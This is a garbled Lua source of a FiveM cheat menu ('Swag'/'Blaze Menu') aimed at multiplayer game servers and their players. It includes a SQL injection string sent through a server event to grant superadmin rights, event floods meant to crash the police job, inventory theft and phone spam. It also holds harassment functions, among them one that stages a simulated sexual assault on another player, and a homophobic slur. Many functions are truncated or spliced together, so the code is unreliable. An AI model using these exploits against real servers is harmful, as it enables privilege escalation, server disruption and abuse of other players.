Professional Documents
Culture Documents
sdfjf
sdf
--SnowFlake#4269 made this --
-- SendServerEvent('NCPP:RequestAuth', false)
-- Swag Functions
-----------------------------------------------------------------------------------
----
local Swag = {}
function Swag:CheckName(str)
if string.len(str) > 16 then
fmt = string.sub(str, 1, 16)
return tostring(fmt .. "...")
else
return str
end
end
--SnowFlake#4269 made this --
return left..(num:reverse():gsub('(%d%d%d)','%1' ..
_U('locale_digit_grouping_symbol')):reverse())..right
end
--SnowFlake#4269 made this --
Swag.Math.Trim = function(value)
if value then
return (string.gsub(value, "^%s*(.-)%s*$", "%1"))
else
return nil
end
end
--SnowFlake#4269 made this --
-- Swag.Player Table
Swag.Player = {
Spectating = false,
IsInVehicle = false,
isNoclipping = false,
Vehicle = 0,
}
--SnowFlake#4269 made this --
-- Menu toggle table
Swag.Toggle = {
RainbowVehicle = false,
Forklift = false,
ReplaceVehicle = true,
SpawnInVehicle = true,
VehicleCollision = false,
MagnetoMode = false,
SelfRagdoll = false,
EasyHandling = false,
Waterp = false,
DeleteGun = false,
RapidFire = false,
VehicleNoFall = false,
}
--SnowFlake#4269 made this --
Swag.Events = {
Revive = {}
}
--SnowFlake#4269 made this --
Swag.Game = {}
--SnowFlake#4269 made this --
function Swag.Game:GetPlayers()
local players = {}
if DoesEntityExist(ped) then
table.insert(players, player)
end
end
return players
end
--SnowFlake#4269 made this --
return playersInArea
end
--SnowFlake#4269 made this --
function Swag.Game:GetPedStatus(playerPed)
if inVehicle then
return "~o~In Vehicle"
else
return "~o~Running"
end
end
--SnowFlake#4269 made this --
function Swag.Game:GetCamDirection()
local heading = GetGameplayCamRelativeHeading() +
GetEntityHeading(PlayerPedId())
local pitch = GetGameplayCamRelativePitch()
return x, y, z
end
--SnowFlake#4269 made this --
function Swag.Game:GetSeatPedIsIn(ped)
if not IsPedInAnyVehicle(ped, false) then return
else
veh = GetVehiclePedIsIn(ped)
for i = 0, GetVehicleMaxNumberOfPassengers(veh) do
if GetPedInVehicleSeat(veh) then return i end
end
end
end
--SnowFlake#4269 made this --
local StealDisc_Data = {type = "player", owner = " ", seize = true}
--SnowFlake#4269 made this --
SearchDisc = function(target)
if ESX ~= nil then
ESX.TriggerServerCallback(
"disc-inventoryhud:getIdentifier",
function(value)
StealDisc_Data.owner = value
TriggerCustomEvent(false, "disc-inventoryhud:openInventory",
StealDisc_Data)
end,
target
)
end
end
--SnowFlake#4269 made this --
function Swag.Game:RequestControlOnce(entity)
if not NetworkIsInSession() or NetworkHasControlOfEntity(entity) then
return true
end
SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(entity), true)
return NetworkRequestControlOfEntity(entity)
end
--SnowFlake#4269 made this --
function Swag.Game:TeleportToPlayer(target)
local ped = GetPlayerPed(target)
local pos = GetEntityCoords(ped)
SetEntityCoords(PlayerPedId(), pos)
end
--SnowFlake#4269 made this --
function Swag.Game.GetVehicleProperties(vehicle)
if DoesEntityExist(vehicle) then
local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
local extras = {}
for id=0, 12 do
if DoesExtraExist(vehicle, id) then
local state = IsVehicleExtraTurnedOn(vehicle, id) == 1
extras[tostring(id)] = state
end
end
return {
model = GetEntityModel(vehicle),
plate =
Swag.Math.Trim(GetVehicleNumberPlateText(vehicle)),
plateIndex = GetVehicleNumberPlateTextIndex(vehicle),
bodyHealth =
Swag.Math.Round(GetVehicleBodyHealth(vehicle), 1),
engineHealth =
Swag.Math.Round(GetVehicleEngineHealth(vehicle), 1),
fuelLevel = Swag.Math.Round(GetVehicleFuelLevel(vehicle),
1),
dirtLevel = Swag.Math.Round(GetVehicleDirtLevel(vehicle),
1),
color1 = colorPrimary,
color2 = colorSecondary,
pearlescentColor = pearlescentColor,
wheelColor = wheelColor,
wheels = GetVehicleWheelType(vehicle),
windowTint = GetVehicleWindowTint(vehicle),
neonEnabled = {
IsVehicleNeonLightEnabled(vehicle, 0),
IsVehicleNeonLightEnabled(vehicle, 1),
IsVehicleNeonLightEnabled(vehicle, 2),
IsVehicleNeonLightEnabled(vehicle, 3)
},
neonColor =
table.pack(GetVehicleNeonLightsColour(vehicle)),
extras = extras,
tyreSmokeColor =
table.pack(GetVehicleTyreSmokeColor(vehicle)),
local NoclipSpeed = 1
local oldSpeed = 1
-- Globals
-- Menu color customization
local _menuColor = {
base = { r = 155, g = 89, b = 182, a = 255 },
highlight = { r = 155, g = 89, b = 182, a = 150 },
shadow = { r = 96, g = 52, b = 116, a = 150 },
}
local entityEnumerator = {
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nil
enum.handle = nil
end
}
ApplyForce(entity, targetPos)
end
end
AddTextEntry('notification_buffer', '~a~')
AddTextEntry('text_buffer', '~a~')
AddTextEntry('preview_text_buffer', '~a~')
RegisterTextLabelToSave('keyboard_title_buffer')
-- Classes
-- > Gatekeeper
Gatekeeper = {}
local _blackAmount = 0
-- Get other player data
local function GetPlayerMoney(player)
ESX.TriggerServerCallback('esx_policejob:getOtherPlayerData', function(data)
for k,v in ipairs(data.inventory) do
if v.name == 'cash' then
_blackAmount = v.count
break
end
end
end, player)
return _blackAmount
end
local streamedTxtSize
local txtRatio = {}
local weaponTextures = {
{'https://i.imgur.com/GmpQc7C.png', 'weapon_dagger'},
{'https://i.imgur.com/dL5qnPn.png?1', 'weapon_bat'},
{'https://i.imgur.com/tl77ZyC.png', 'weapon_knife'},
{'https://i.imgur.com/RaFQ0th.png', 'weapon_machete'},
}
for i = 1, #weaponTextures do
local w_DuiObj = CreateDui(weaponTextures[i][1], 256, 128)
local w_DuiHandle = GetDuiHandle(w_DuiObj)
local w_Txt = CreateRuntimeTextureFromDuiHandle(w_Txd,
weaponTextures[i][2], w_DuiHandle)
-- CreateWeaponTextures()
-- Melee Weapons
{`WEAPON_BAT`, "Baseball Bat", "weapon_bat", "weapon_icons", "melee"},
{`WEAPON_BATTLEAXE`, "Battleaxe", "w_me_fireaxe", "mpweaponsunusedfornow",
"melee"},
{`WEAPON_BOTTLE`, "Broken Bottle", nil, nil, "melee"},
{`WEAPON_CROWBAR`, "Crowbar", "w_me_crowbar", "mpweaponsunusedfornow",
"melee"},
{`WEAPON_DAGGER`, "Antique Cavalry Dagger", "weapon_dagger", "weapon_icons",
"melee"},
{`WEAPON_FLASHLIGHT`, "Flashlight", nil, nil, "melee"},
{`WEAPON_GOLFCLUB`, "Golf Club", "w_me_gclub", "mpweaponsunusedfornow",
"melee"},
{`WEAPON_HAMMER`, "Hammer", "w_me_hammer", "mpweaponsunusedfornow", "melee"},
{`WEAPON_HATCHET`, "Hatchet", nil, nil, "melee"},
{`WEAPON_KNIFE`, "Knife", "weapon_knife", "weapon_icons", "melee"},
{`WEAPON_KNUCKLE`, "Brass Knuckles", nil, nil, "melee"},
{`WEAPON_MACHETE`, "Machete", 'weapon_machete', 'weapon_icons', "melee"},
{`WEAPON_NIGHTSTICK`, "Nightstick", "w_me_nightstick",
"mpweaponsunusedfornow", "melee"},
{`WEAPON_POOLCUE`, "Pool Cue", nil, nil, "melee"},
{`WEAPON_STONE_HATCHET`, "Stone Hatchet", nil, nil, "melee"},
{`WEAPON_SWITCHBLADE`, "Switchblade", nil, nil, "melee"},
{`WEAPON_WRENCH`, "Wrench", "w_me_wrench", "mpweaponsunusedfornow", "melee"},
-- Handguns
{'WEAPON_PISTOL', "Pistol", "w_pi_pistol", "mpweaponsgang1_small",
"handguns", true},
{`WEAPON_COMBATPISTOL`, "Combat Pistol", "w_pi_combatpistol",
"mpweaponscommon_small", "handguns"},
{`WEAPON_APPISTOL`, "AP Pistol", "w_pi_apppistol", "mpweaponsgang1_small",
"handguns"},
{`WEAPON_STUNGUN`, "Stungun", "w_pi_stungun", "mpweaponsgang0_small",
"handguns"},
{`WEAPON_PISTOL50`, "Pistol .50", nil, nil, "handguns"},
{'WEAPON_SNSPISTOL', "SNS Pistol", nil, nil, "handguns", true},
{`WEAPON_HEAVYPISTOL`, "Heavy Pistol", nil, nil, "handguns"},
{`WEAPON_VINTAGEPISTOL`, "Vintage Pistol", nil, nil, "handguns"},
{`WEAPON_FLAREGUN`, "Flare Gun", nil, nil, "handguns"},
{`WEAPON_MARKSMANPISTOL`, "Marksman Pistol", nil, nil, "handguns"},
{'WEAPON_REVOLVER', "Heavy Revolver", nil, nil, "handguns", true},
{`WEAPON_DOUBLEACTION`, "Double Action Revolver", nil, nil, "handguns"},
{`WEAPON_RAYPISTOL`, "Up-n-Atomizer", nil, nil, "handguns"},
{`WEAPON_CERAMICPISTOL`, "Ceramic Pistol", nil, nil, "handguns"},
{`WEAPON_NAVYREVOLVER`, "Navy Revolver", nil, nil, "handguns"},
-- SMGs
{`WEAPON_MICROSMG`, "Micro SMG", "w_sb_microsmg", "mpweaponscommon_small",
"smgs"},
{'WEAPON_SMG', "SMG", nil, nil, "smgs", true},
{`WEAPON_ASSAULTSMG`,"Assault SMG", "w_sb_assaultsmg",
"mpweaponscommon_small", "smgs"},
{`WEAPON_COMBATPDW`, "Combat PDW", nil, nil, "smgs"},
{`weapon_machinepistol`, "Machine Pistol", nil, nil, "smgs"},
{`weapon_minismg`, "Mini SMG", nil, nil, "smgs"},
{`weapon_raycarbine`, "Unholy Hellbringer", nil, nil, "smgs"},
-- Shotguns
{'WEAPON_PUMPSHOTGUN', "Pump Shotgun", "w_sg_pumpshotgun",
"mpweaponscommon_small", "shotguns", true},
{`WEAPON_SAWNOFFSHOTGUN`, "Sawed-Off Shotgun", "w_sg_sawnoff",
"mpweaponsgang1", "shotguns"},
{`WEAPON_ASSAULTSHOTGUN`, "Assault Shotgun", "w_sg_assaultshotgun",
"mpweaponscommon_small", "shotguns"},
{`weapon_bullpupshotgun`, "Bullpup Shotgun", nil, nil, "shotguns"},
{`weapon_musket`, "Musket", nil, nil, "shotguns"},
{`weapon_heavyshotgun`, "Heavy Shotgun", nil, nil, "shotguns"},
{`weapon_dbshotgun`, "Double Barrel Shotgun", nil, nil, "shotguns"},
{`weapon_autoshotgun`, "Sweeper Shotgun", nil, nil, "shotguns"},
-- Assault Rifles
{'WEAPON_ASSAULTRIFLE', "Assault Rifle", "w_ar_assaultrifle",
"mpweaponsgang1_small", "assaultrifles", true},
{'weapon_carbinerifle', "Carbine Rifle", "w_ar_carbinerifle",
"mpweaponsgang0_small", "assaultrifles", true},
{'weapon_advancedrifle', "Advanced Rifle", nil, nil, "assaultrifles"},
{'weapon_specialcarbine', "Special Carbine", nil, nil, "assaultrifles",
true},
{'weapon_bullpuprifle', "Bullpup Rifle", nil, nil, "assaultrifles", true},
{'weapon_compactrifle', "Compact Rifle", nil, nil, "assaultrifles"},
-- LMGs
{'weapon_mg', "MG", nil, nil, "lmgs"},
{'weapon_combatmg', "Combat MG", "w_mg_combatmg", "mpweaponsgang0_small",
"lmgs", true},
{'weapon_gusenburg', "Gusenberg Sweeper", nil, nil, "lmgs"},
-- Sniper Rifles
{`WEAPON_SNIPERRIFLE`, "Sniper Rifle", "w_sr_sniperrifle",
"mpweaponsgang0_small", "sniperrifles"},
{'WEAPON_HEAVYSNIPER', "Heavy Sniper", "w_sr_heavysniper",
"mpweaponsgang0_small", "sniperrifles", true},
{'weapon_marksmanrifle', "Marksman Rifle", nil, nil, "sniperrifles", true},
-- Heavy Weapons
{`WEAPON_RPG`, "RPG", nil, nil, "heavyweapons"},
{`WEAPON_GRENADELAUNCHER`, "Grenade Launcher", nil, nil, "heavyweapons"},
{'weapon_grenadelauncher_smoke', "Grenade Launcher (Smoke)", nil, nil,
"heavyweapons"},
{'weapon_minigun', "Minigun", nil, nil, "heavyweapons"},
{'weapon_firework', "Firework Launcher", nil, nil, "heavyweapons"},
{'weapon_railgun', "Railgun", nil, nil, "heavyweapons"},
{'weapon_hominglauncher', "Homing Launcher", nil, nil, "heavyweapons"},
{'weapon_compactlauncher', "Compact Grenade Launcher", nil, nil,
"heavyweapons"},
{'weapon_rayminigun', "Widowmaker", nil, nil, "heavyweapons"},
--Thrown
{"WEAPON_GRENADE", "Grenade", nil, nil, nil},
{"WEAPON_STICKYBOMB", "Sticky Bomb", nil, nil, nil},
{"WEAPON_PROXMINE", "Proximine", nil, nil, nil},
{"WEAPON_BZGAS", "Gas Grenade", nil, nil, nil},
{"WEAPON_SMOKEGRENADE", "Smoke Grenade", nil, nil, nil},
{"WEAPON_MOLOTOV", "Molotov", nil, nil, nil},
{"WEAPON_FIREEXTINGUISHER", "Extinguisher", nil, nil, nil},
{"WEAPON_PETROLCAN", "Gas Can", nil, nil, nil},
{"WEAPON_SNOWBALL", "SnowBall", nil, nil, nil},
{"WEAPON_FLARE", "Flare", nil, nil, nil},
{"WEAPON_BALL", "Ball", nil, nil, nil},
}
RequestWeaponAsset(`WEAPON_STUNGUN`)
--Player Troll
function nearby_peds_attack(target)
local coords = GetEntityCoords(GetPlayerPed(target))
for k in EnumeratePeds() do
if k ~= GetPlayerPed(target) and not IsPedAPlayer(k) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) < 2000 then
local rand = math.ceil(math.random(#t_Weapons))
GiveWeaponToPed(k, GetHashKey(t_Weapons[rand][1]), 9999, 0, 1)
ClearPedTasks(k)
TaskCombatPed(k, GetPlayerPed(target), 0, 16)
SetPedCombatAbility(k, 100)
SetPedCombatRange(k, 2)
SetPedCombatAttributes(k, 46, 1)
SetPedCombatAttributes(k, 5, 1)
end
end
end
function RequestModelSync(mod)
local model = GetHashKey(mod)
RequestModel(model)
while not HasModelLoaded(model) do
RequestModel(model)
Citizen.Wait(0)
end
end
function RapeP(SelectedPlayer)
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
while not NetworkHasControlOfEntity(veh) do
NetworkRequestControlOfEntity(veh)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(veh, true, true)
DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
for b=1,3 do
local x,y,z =
table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
local rapist = CreatePed(4, GetHashKey("a_m_o_acult_01"), x,y,z, 0.0,
true, false)
SetEntityAsMissionEntity(rapist, true, true)
AttachEntityToEntity(rapist, GetPlayerPed(SelectedPlayer), 4103, 11816,
count, 0.00, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
ClearPedTasks(GetPlayerPed(SelectedPlayer))
TaskPlayAnim(GetPlayerPed(SelectedPlayer), "rcmpaparazzo_2",
"shag_loop_poppy", 2.0, 2.5, -1, 49, 0, 0, 0, 0)
SetPedKeepTask(rapist)
TaskPlayAnim(rapist, "rcmpaparazzo_2", "shag_loop_a", 2.0, 2.5, -1, 49,
0, 0, 0, 0)
SetEntityInvincible(rapist, true)
count = count - 0.4
end
end
function FuckUpP(SelectedPlayer)
Citizen.CreateThread(function()
local pisello = CreateObject("prop_tanktrailer_01a", 0, 0, 0, true,
true, true)
local pisello2 = CreateObject(GetHashKey("cargoplane"), 0, 0, 0, true,
true, true)
local pisello3 = CreateObject(GetHashKey("prop_beach_fire"), 0, 0, 0,
true, true, true)
AttachEntityToEntity(pisello, GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0,
true, true, false, true, 1, true)
AttachEntityToEntity(pisello2, GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0,
true, true, false, true, 1, true)
AttachEntityToEntity(pisello3, GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0,
true, true, false, true, 1, true)
end)
end
function SCage(SelectedPlayer)
local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
local SmallCage =
CreateObject(GetHashKey("hei_prop_heist_apecrate"), x, y, z-1, true, true,
false)
SetEntityHeading(SmallCage, 0)
FreezeEntityPosition(SmallCage, true)
end
function RealCage(SelectedPlayer)
local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
function CageP(SelectedPlayer)
x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
roundx = tonumber(string.format("%.2f", x))
roundy = tonumber(string.format("%.2f", y))
roundz = tonumber(string.format("%.2f", z))
local cagemodel = "hei_prop_ss1_mpint_garage2"
local cagehash = GetHashKey(cagemodel)
RequestModel(cagehash)
while not HasModelLoaded(cagehash) do
Citizen.Wait(0)
end
local cage1 = CreateObject(cagehash, roundx - 1.70, roundy - 1.70, roundz -
1.0, true, true, false)
local cage2 = CreateObject(cagehash, roundx + 1.70, roundy + 1.70, roundz -
1.0, true, true, false)
SetEntityHeading(cage1, -90.0)
SetEntityHeading(cage2, 90.0)
FreezeEntityPosition(cage1, true)
FreezeEntityPosition(cage2, true)
end
function HamburgerP(SelectedPlayer)
local hamburg = "xs_prop_hamburgher_wl"
local hamburghash = GetHashKey(hamburg)
local hamburger = CreateObject(hamburghash, 0, 0, 0, true, true, true)
AttachEntityToEntity(hamburger, GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true,
true, false, true, 1, true)
end
function HamburgerC(SelectedPlayer)
local hamburg = "xs_prop_hamburgher_wl"
local hamburghash = GetHashKey(hamburg)
local hamburger = CreateObject(hamburghash, 0, 0, 0, true, true, true)
AttachEntityToEntity(hamburger,
GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
"chassis"), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
end
function Swag.Game.SetVehicleProperties()
if DoesEntityExist(vehicle) then
local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
SetVehicleModKit(vehicle, 0)
if props.neonEnabled then
SetVehicleNeonLightEnabled(vehicle, 0, props.neonEnabled[1])
SetVehicleNeonLightEnabled(vehicle, 1, props.neonEnabled[2])
SetVehicleNeonLightEnabled(vehicle, 2, props.neonEnabled[3])
SetVehicleNeonLightEnabled(vehicle, 3, props.neonEnabled[4])
end
if props.extras then
for id,enabled in pairs(props.extras) do
if enabled then
SetVehicleExtra(vehicle, tonumber(id), 0)
else
SetVehicleExtra(vehicle, tonumber(id), 1)
end
end
end
if props.modLivery then
SetVehicleMod(vehicle, 48, props.modLivery, false)
SetVehicleLivery(vehicle, props.modLivery)
end
end
end
function ClonePV(target)
local selectedPlayerVehicle = nil
if IsPedInAnyVehicle(GetPlayerPed(target)) then selectedPlayerVehicle =
GetVehiclePedIsIn(GetPlayerPed(target), false)
else selectedPlayerVehicle = GetVehiclePedIsIn(GetPlayerPed(target), true)
end
if DoesEntityExist(selectedPlayerVehicle) then
local vehicleModel = GetEntityModel(selectedPlayerVehicle)
local spawnedVehicle = SpawnVehicleToPlayer(vehicleModel, PlayerId())
local vehicleProperties =
Swag.Game.GetVehicleProperties(selectedPlayerVehicle)
vehicleProperties.plate = nil
Swag.Game.SetVehicleProperties(spawnedVehicle, vehicleProperties)
function CloneP(ped)
local me = PlayerPedId()
hat = GetPedPropIndex(ped, 0)
hat_texture = GetPedPropTextureIndex(ped, 0)
glasses = GetPedPropIndex(ped, 1)
glasses_texture = GetPedPropTextureIndex(ped, 1)
ear = GetPedPropIndex(ped, 2)
ear_texture = GetPedPropTextureIndex(ped, 2)
watch = GetPedPropIndex(ped, 6)
watch_texture = GetPedPropTextureIndex(ped, 6)
wrist = GetPedPropIndex(ped, 7)
wrist_texture = GetPedPropTextureIndex(ped, 7)
head_drawable = GetPedDrawableVariation(ped, 0)
head_palette = GetPedPaletteVariation(ped, 0)
head_texture = GetPedTextureVariation(ped, 0)
beard_drawable = GetPedDrawableVariation(ped, 1)
beard_palette = GetPedPaletteVariation(ped, 1)
beard_texture = GetPedTextureVariation(ped, 1)
hair_drawable = GetPedDrawableVariation(ped, 2)
hair_palette = GetPedPaletteVariation(ped, 2)
hair_texture = GetPedTextureVariation(ped, 2)
torso_drawable = GetPedDrawableVariation(ped, 3)
torso_palette = GetPedPaletteVariation(ped, 3)
torso_texture = GetPedTextureVariation(ped, 3)
legs_drawable = GetPedDrawableVariation(ped, 4)
legs_palette = GetPedPaletteVariation(ped, 4)
legs_texture = GetPedTextureVariation(ped, 4)
hands_drawable = GetPedDrawableVariation(ped, 5)
hands_palette = GetPedPaletteVariation(ped, 5)
hands_texture = GetPedTextureVariation(ped, 5)
foot_drawable = GetPedDrawableVariation(ped, 6)
foot_palette = GetPedPaletteVariation(ped, 6)
foot_texture = GetPedTextureVariation(ped, 6)
acc1_drawable = GetPedDrawableVariation(ped, 7)
acc1_palette = GetPedPaletteVariation(ped, 7)
acc1_texture = GetPedTextureVariation(ped, 7)
acc2_drawable = GetPedDrawableVariation(ped, 8)
acc2_palette = GetPedPaletteVariation(ped, 8)
acc2_texture = GetPedTextureVariation(ped, 8)
acc3_drawable = GetPedDrawableVariation(ped, 9)
acc3_palette = GetPedPaletteVariation(ped, 9)
acc3_texture = GetPedTextureVariation(ped, 9)
function TubePlayer(SelectedPlayer)
Citizen.CreateThread(function()
rotatier = true
x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
roundx = tonumber(string.format("%.2f", x))
roundy = tonumber(string.format("%.2f", y))
roundz = tonumber(string.format("%.2f", z))
local tubemodel = "sr_prop_spec_tube_xxs_01a"
local tubehash = GetHashKey(tubemodel)
RequestModel(tubehash)
RequestModel(smashhash)
while not HasModelLoaded(tubehash) do
Citizen.Wait(0)
end
local tube = CreateObject(tubehash, roundx, roundy, roundz - 5.0, true,
true, false)
SetEntityRotation(tube, 0.0, 90.0, 0.0)
local snowhash = -356333586
local wep = "WEAPON_SNOWBALL"
for i = 0, 10 do
local coords = GetEntityCoords(tube)
RequestModel(snowhash)
Citizen.Wait(50)
if HasModelLoaded(snowhash) then
local ped = CreatePed(21, snowhash, coords.x + math.sin(i *
2.0), coords.y - math.sin(i * 2.0), coords.z - 5.0, 0, true, true) and
CreatePed(21, snowhash ,coords.x - math.sin(i * 2.0), coords.y + math.sin(i * 2.0),
coords.z - 5.0, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local netped = PedToNet(ped)
NetworkSetNetworkIdDynamic(netped, false)
SetNetworkIdCanMigrate(netped, true)
SetNetworkIdExistsOnAllMachines(netped, true)
Citizen.Wait(500)
NetToPed(netped)
GiveWeaponToPed(ped,GetHashKey(wep), 9999, 1, 1)
SetCurrentPedWeapon(ped, GetHashKey(wep), true)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped, GetPlayerPed(SelectedPlayer),
0,16)
elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, coords.x,coords.y,
coords.z, 500)
else
Citizen.Wait(0)
end
end
end
end)
end
function FlingingPlayer(target)
local coords = GetEntityCoords(GetPlayerPed(target))
for i = 0, 10 do
Citizen.InvokeNative(0xE3AD2BDBAEE269AC, coords.x, coords.y, coords.z, 4,
1.0, 0, 1, 0.0, 1)
end
end
function MeteorThread()
while Swag.Toggle.MeteoriteMode do
Wait(1)
RequestModel(rock)
if not HasModelLoaded(rock) then
Wait(1)
end
local rockloc = GetEntityCoords(rock)
local rX = x + math.random(-75, 75)
local rY = y + math.random(-75, 75)
local rZ = z + 50
Wait(500)
SetEntityAsNoLongerNeeded(obj)
end
end
end
if Swag.Toggle.MeteoriteMode then
CreateThread(MeteorThread)
end
end
RequestControlOnce(ped)
if IsEntityOnFire(ped) then
StopEntityFire(ped)
return true
end
StartEntityFire(ped)
return true
end
local Airstrike = {
ped_hash = `S_M_Y_MARINE_01`,
vehicle_hash = `STRIKEFORCE`,
weapon_asset = 519052682,
spawnDistance = 750.0,
}
-- 955522731
-- 519052682
RequestModel(Airstrike.ped_hash)
RequestModel(Airstrike.vehicle_hash)
RequestWeaponAsset(Airstrike.weapon_asset, 31, 0)
repeat
Wait(0)
until HasModelLoaded(Airstrike.ped_hash) and
HasModelLoaded(Airstrike.vehicle_hash)
repeat
Wait(0)
until HasWeaponAssetLoaded(Airstrike.weapon_asset)
-- Create Aircraft
local aircraft = CreateVehicle(Airstrike.vehicle_hash, origin, 0.0,
true, true)
FreezeEntityPosition(aircraft, true)
aircraft = NetToVeh(netVehid)
pilot = NetToPed(netPedid)
SetBlockingOfNonTemporaryEvents(pilot, true)
SetDriverAbility(pilot, 1.0)
-- Make sure the vehicle engine is started
SetVehicleJetEngineOn(aircraft, true)
SetVehicleEngineOn(aircraft, true, true, true)
-- Disable turbulence
SetPlaneTurbulenceMultiplier(aircraft, 0.0)
SetVehicleForceAfterburner(aircraft, true)
local blip = AddBlipForEntity(aircraft)
FreezeEntityPosition(aircraft, false)
--TaskVehicleDriveToCoord(pilot, aircraft, target.x, target.y,
target.z, 3500.0 * 2.6, 1.0, Airstrike.vehicle_hash, 16777216, 1.0, true)
TaskPlaneMission(pilot, NetToVeh(netVehid), 0, playerPed, 0, 0, 0, 6,
GetVehicleModelMaxSpeed(aircraft), 1.0, 0.0, 2000.0, 500.0)
SetPedKeepTask(pilot, true)
SetDriveTaskCruiseSpeed(pilot, 150.0)
while true do
local target = GetEntityCoords(playerPed)
local vehCoords = GetEntityCoords(aircraft)
local distance = GetDistanceBetweenCoords(vehCoords, target)
--DisableVehicleWeapon(true, 519052682, aircraft, pilot)
--SetCurrentPedVehicleWeapon(pilot, 519052682)
-- RemoveBlip(blip)
return SwagUI.SendNotification({text = "We lost network
control, try again.", type = "error"})
end
Wait(100)
end
TaskVehicleDriveToCoord(pilot, aircraft, origin, 3500.0 *
2.6, 1.0, Airstrike.vehicle_hash, 16777216, 1.0, true)
Wait(10000)
NetworkUnregisterNetworkedEntity(pilot)
NetworkUnregisterNetworkedEntity(aircraft)
DeletePed(pilot)
SetEntityAsMissionEntity(aircraft, true, true)
DeleteVehicle(aircraft)
RemoveBlip(blip)
SwagUI.SendNotification({text = ("Airstrike on %s is
complete!"):format(GetPlayerName(player)), type = "info"})
break
end
Wait(0)
end
isAirstrikeRunning = false
end
CreateThreadNow(AirstrikeThread)
end
--Player Troll Ends
--Esx Earrrape troll
function doesResourceExist(resource_name)
if GetResourceState(resource_name) == "started" or
string.upper(GetResourceState(resource_name)) == "started" or
string.lower(GetResourceState(resource_name)) == "started" then
return true
else
return false
end
end
function interactSound()
if doesResourceExist('interactSound') or
doesResourceExist('InteractSound') or
doesResourceExist('interact-sound') then
TriggerCustomEvent(true, 'InteractSound_SV:PlayOnAll', 'demo', 10.0)
TriggerCustomEvent(true, 'InteractSound_SV:PlayWithinDistance', 500.0,
'demo', 10.0)
end
end
function esx_license()
if doesResourceExist("esx_license" ) then
local licenses={"Swag" ,"Swag.UI" ,"Blaze" ,"RIP Your SQL
Faggot" ,"Make sure to wipe all tables ;)","Swag Was Here" }
for i=0 ,#licenses do
local active_players=GetActivePlayers()
for player=0 ,#active_players do
function esx_kashacters()
if
doesResourceExist("esx_kashacters") or doesResourceExist("esx_Kashacters")
or
doesResourceExist("Kashacters") or
doesResourceExist("kashacters")
then
TriggerCustomEvent(
true,
"kashactersS:DeleteCharacter",
"';UPDATE users SET permission_level=4, group='superadmin' WHERE
name='" ..
NetworkPlayerGetName(PlayerId()) .. "'--"
)
end
end
PhoneSpam = function()
if
doesResourceExist("esx_phone") or doesResourceExist("gcphone") or
doesResourceExist("xenknight")
then
TriggerCustomEvent(
true,
"esx_phone:send",
"police",
"Blaze Menu",
true,
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_phone:send",
"ambulance",
"Blaze Menu",
true,
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_phone:send",
"taxi",
"Blaze Menu",
true,
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_phone:send",
"realestateagent",
"Blaze Menu",
true,
{x = 1337.0, y = 1337.0, z = 1337.0}
)
elseif doesResourceExist("esx_addons_gcphone") then
TriggerCustomEvent(
true,
"esx_addons_gcphone:startCall",
"police",
"Blaze Menu",
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_addons_gcphone:startCall",
"ambulance",
"Blaze Menu",
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_addons_gcphone:startCall",
"taxi",
"Blaze Menu",
{x = 1337.0, y = 1337.0, z = 1337.0}
)
TriggerCustomEvent(
true,
"esx_addons_gcphone:startCall",
"realestateagent",
"Blaze Menu",
{x = 1337.0, y = 1337.0, z = 1337.0}
)
end
end
esx_policejob_crash = function()
if doesResourceExist("esx_policejob") then
Citizen.CreateThread(
function()
for i = 1, 50, 1 do
Citizen.Wait(50)
TriggerCustomEvent(true, "esx_policejob:spawned")
end
end
)
end
end
esx_outlawalert = function()
if doesResourceExist("esx_outlawalert") then
TriggerCustomEvent(
true,
"esx_outlawalert:gunshotInProgress",
{x = 1337.0, y = 1337.0, z = 1337.0},
"Blaze Menu",
0
)
